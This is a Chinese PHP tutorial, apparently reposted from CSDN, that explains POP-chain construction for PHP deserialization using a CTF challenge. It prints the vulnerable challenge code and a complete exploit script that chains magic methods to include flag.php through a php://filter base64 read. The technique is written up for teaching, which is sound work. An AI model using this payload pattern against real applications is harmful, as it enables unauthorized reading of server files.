• 技术文章 >后端开发 >php教程

    详细介绍php反序列化pop链构造知识点

    长期闲置长期闲置2022-05-05 18:42:21转载1398
    本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于pop链构造的相关问题,pop链是一种面向属性编程,常用于构造调用链的方法,下面一起来看一下,希望对大家有帮助。

    推荐学习:《PHP视频教程

    随着对反序列化学习的不断深入,我们来学习一下pop链的构造。这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解。同时也是提供想要入坑的小伙伴们一些理解。

    pop链构造

    一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

    pop链简介

    它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码,就是pop链(个人理解,欢迎师傅们提出意见)在构造pop链中,魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的,以及具体构造的思路

    上题目代码:

    Welcome to index.php
    <?php
    //flag is in flag.php
    //WTF IS THIS?
    //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    //And Crack It!
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
        public function __toString(){
            return $this->str->source;
        }
    
        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
                echo "hacker";
                $this->source = "index.php";
            }
        }
    }
    
    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    
    if(isset($_GET['pop'])){
        @unserialize($_GET['pop']);
    }
    else{
        $a=new Show;
        highlight_file(__FILE__);
    }

    构造思路

    在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。审计这个题的代码,头是用get方式对pop传参,而尾部是include包含函数。到这里,我们应该都知道是要用php伪协议读取flag文件的源码。既然头和尾都找到了,也知道了攻击方法。那么接下来找到题目中的魔术方法。

    __invoke()    当一个类被当作函数执行时调用此方法。
    
    __construct   在创建对象时调用此方法
    
    __toString()  在一个类被当作字符串处理时调用此方法
    
    __wakeup()    当反序列化恢复成对象时调用此方法
    
    __get()       当读取不可访问或不存在的属性的值会被调用

    题中一共有这五种魔术方法。接着找出普通类与魔术方法之间的联系。

    不难看出wakeup函数中有个preg_match函数,用于查找source中敏感的字符串,我们可以从这里开头,将source赋予一个show类,那么会自动触发toString函数,那么现在就要在tostring方法中延申链子,那么我们可以在totring方法中$this->str赋予test类,在test类读取source变量,(因为test类中没有source属性,则是访问了不可访问的属性)则会自动调用get魔术方法。可以发现get方法中有个函数调用,则我们可以将$this->p赋予Modifier类,会自动调用invoke方法,从而执行我们写入的php伪协议(将Modifer类中的var属性赋值为我们的恶意代码)

    至此,我们构造pop链。

    pop链讲解

    <?php
    class Modifier {
    	protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
    }
    class Show{
    	public $source;
    	public $str;
    	function _construct(){
    		$this->source=$file;
    	}
    }
    class Test{
    	public $p;
    }
    $a = new show();
    $b = new show();
    $c = new test();
    $d = new Modifier();
    $a->source=$b;
    $b->str=$c;
    $c->p= $d;
    echo urlencode(serialize($a));
    ?>

    先把用到的类写出来,形成一个框架,再表明类中的变量。分别将用到的类进行实例化,这里为什么要new 两次show(看代码应该能看懂,第一次是实例化show类,第二次是将第一次实例化后的show类中的source=第二次实例化的show)

    在我们进行序列化的时候尽量用url编码一下(在这个题中有protected修饰的属性,会有不可见字符)

    推荐学习:《PHP视频教程

    以上就是详细介绍php反序列化pop链构造知识点的详细内容,更多请关注php中文网其它相关文章!

    声明:本文转载于:CSDN,如有侵犯,请联系admin@php.cn删除
    专题推荐:php
    上一篇:php反序列化实例详解之字符串逃逸 下一篇:PHP7+也支持类型声明了,聊聊这个特性!
    VIP课程(WEB全栈开发)

    相关文章推荐

    • 【腾讯云】年中优惠,「专享618元」优惠券!• php怎么修改数组中的内容• 9个杀手级的PHP项目,快来收藏使用!• PHP中and的用法是什么• php中each的用法是什么• php中extends的用法是什么
    1/1

    PHP中文网